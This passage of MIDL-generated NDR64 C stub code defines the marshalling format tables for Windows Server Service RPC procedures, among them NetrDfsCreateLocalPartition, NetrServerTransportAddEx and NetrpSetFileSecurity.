_NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Uid */      /* parameter Uid */\n        &__midl_frag777,\n        { \n        /* Uid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag813,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* State */      /* parameter State */\n        &__midl_frag928,\n        { \n        /* State */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag792_t __midl_frag792 =\n{ \n/* NetrDfsDeleteLocalPartition */\n    { \n    /* NetrDfsDeleteLocalPartition */      /* procedure NetrDfsDeleteLocalPartition */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Uid */      /* parameter Uid */\n        &__midl_frag777,\n        { \n        /* Uid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag813,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag789_t __midl_frag789 =\n{ \n/*  */\n    { \n    /* *_NET_DFS_ENTRY_ID */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag784\n    }\n};\n\nstatic const __midl_frag787_t __midl_frag787 =\n{ \n/* _NET_DFS_ENTRY_ID */\n    { \n    /* _NET_DFS_ENTRY_ID */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _NET_DFS_ENTRY_ID */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *WCHAR */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag813\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag785_t __midl_frag785 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag784_t __midl_frag784 =\n{ \n/* *_NET_DFS_ENTRY_ID */\n    { \n    /* *_NET_DFS_ENTRY_ID */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_NET_DFS_ENTRY_ID */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag785\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 16 /* 0x10 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *WCHAR */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag813\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag787\n    }\n};\n\nstatic const __midl_frag783_t __midl_frag783 =\n{ \n/* _NET_DFS_ENTRY_ID_CONTAINER */\n    { \n    /* _NET_DFS_ENTRY_ID_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _NET_DFS_ENTRY_ID_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag789,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag782_t __midl_frag782 =\n{ \n/* *_NET_DFS_ENTRY_ID_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag783\n};\n\nstatic const __midl_frag777_t __midl_frag777 =\n{ \n/* GUID */\n    { \n    /* GUID */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* GUID */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    }\n};\n\nstatic const __midl_frag771_t __midl_frag771 =\n{ \n/* NetrDfsCreateLocalPartition */\n    { \n    /* NetrDfsCreateLocalPartition */      /* procedure NetrDfsCreateLocalPartition */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 80 /* 0x50 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ShareName */      /* parameter ShareName */\n        &__midl_frag813,\n        { \n        /* ShareName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EntryUid */      /* parameter EntryUid */\n        &__midl_frag777,\n        { \n        /* EntryUid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EntryPrefix */      /* parameter EntryPrefix */\n        &__midl_frag813,\n        { \n        /* EntryPrefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ShortName */      /* parameter ShortName */\n        &__midl_frag813,\n        { \n        /* ShortName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* RelationInfo */      /* parameter RelationInfo */\n        &__midl_frag783,\n        { \n        /* RelationInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* Force */      /* parameter Force */\n        &__midl_frag928,\n        { \n        /* Force */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag768_t __midl_frag768 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag765_t __midl_frag765 =\n{ \n/* NetrDfsGetVersion */\n    { \n    /* NetrDfsGetVersion */      /* procedure NetrDfsGetVersion */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Version */      /* parameter Version */\n        &__midl_frag928,\n        { \n        /* Version */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag762_t __midl_frag762 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag761_t __midl_frag761 =\n{ \n/* _TRANSPORT_INFO */\n    { \n    /* _TRANSPORT_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 312 /* 0x138 */,\n        &__midl_frag762,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag561,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag585,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag611,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag760_t __midl_frag760 =\n{ \n/* *_TRANSPORT_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag761\n};\n\nstatic const __midl_frag756_t __midl_frag756 =\n{ \n/* NetrServerTransportAddEx */\n    { \n    /* NetrServerTransportAddEx */      /* procedure NetrServerTransportAddEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Buffer */      /* parameter Buffer */\n        &__midl_frag761,\n        { \n        /* Buffer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag754_t __midl_frag754 =\n{ \n/* *_ADT_SECURITY_DESCRIPTOR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag740\n};\n\nstatic const __midl_frag746_t __midl_frag746 =\n{ \n/* NetrpSetFileSecurity */\n    { \n    /* NetrpSetFileSecurity */      /* procedure NetrpSetFileSecurity */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ShareName */      /* parameter ShareName */\n        &__midl_frag809,\n        { \n        /* ShareName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* lpFileName */      /* parameter lpFileName */\n        &__midl_frag813,\n        { \n        /* lpFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* SecurityInformation */      /* parameter SecurityInformation */\n        &__midl_frag928,\n        { \n        /* SecurityInformation */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* SecurityDescriptor */      /* parameter SecurityDescriptor */\n        &__midl_frag740,\n        { \n        /* SecurityDescriptor */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag928,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag744_t __midl_frag744 =\n{ \n/*  */\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag741\n    }\n};\n\nstatic const __midl_frag743_t __midl_frag743 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag741_t __midl_frag741 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag785\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag743\n    }\n};\n\nstatic const __midl_frag740_t __midl_frag740 =\n{ \n/* _ADT_SECURITY_DESCRIPTOR */\n    { \n    /* _ADT_SECURITY_DESCRIPTOR */\n        0x35,    /* 